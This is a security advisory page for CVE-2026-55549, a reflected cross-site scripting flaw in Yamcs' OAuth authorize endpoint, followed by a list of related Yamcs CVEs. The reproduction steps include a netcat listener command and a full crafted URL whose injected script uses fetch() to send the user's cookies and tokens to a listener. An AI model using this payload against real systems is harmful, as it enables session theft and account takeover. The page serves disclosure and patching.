CVE-2026-55549: Yamcs has Reflected XSS in the URL of the Authorize Endpoint
Attack type: Unauthenticated remote Impact: Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token. Affected components: authorize.html, AuthHandler.java, HandlerContext.java A Reflected Cross-Site Scripting vulnerability exists in Yamcs You then use JavaScript to obtain the user's cookies and display them in the alert: Finally, use the fetch…
Published Aug 28, 2026
Affected packages
org.yamcs:yamcs-core
- Ecosystem
- Maven
- Affected
- < 5.9.4
- Fixed in
- 5.9.4
- Check
mvn dependency:tree -Dincludes=org.yamcs:yamcs-core
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Attack type:
Unauthenticated remote
Impact:
Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.
Affected components: authorize.html, AuthHandler.java, HandlerContext.java
A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.
Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:
You then use JavaScript to obtain the user's cookies and display them in the alert:
Finally, use the fetch function to send the user's cookies to a remote server which we controlled:
Now you can set these cookies in our own browser and login to Yamcs as the user.
Steps to Reproduce
- Start Yamcs
- Login as a user
- In a terminal, start a netcat listener:
nc -nlvp 8888- Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou- You will receive a connection on your netcat listener containing the user's access token and refresh token.
Acknowledgements
This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.
Credited to suffs811, AbdrrahimDahmani, 0x4ndy.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Maven vulnerabilities
All Maven entriesCVE-2026-55511
Yamcs vulnerable to authenticated RCE via StreamSQL aggregate-compiler column-name injection in Yamcs `executeSql`
critical9.1Aug 28, 2026CVE-2026-55521
Yamcs Core API has Multiple Missing Function Level Access Control vulnerabilities
high8.8Aug 28, 2026CVE-2026-55545
Yamcs's WebSocket subscription handlers omit the privilege checks their REST siblings enforce
medium6.5Aug 28, 2026CVE-2026-55547
Yamcs's Missing Authorization on Role and Privilege Enumeration Endpoints Allows Any Authenticated User to Disclose Full Security Configuration
medium4.3Aug 28, 2026CVE-2026-55548
Yamcs: Insecure Direct Object Reference (IDOR) in PacketsApi allows unprivileged users to dump all telemetry packets
medium4.3Aug 28, 2026CVE-2026-55552
Yamcs has Unauthenticated Directory Traversal
high7.5Aug 28, 2026
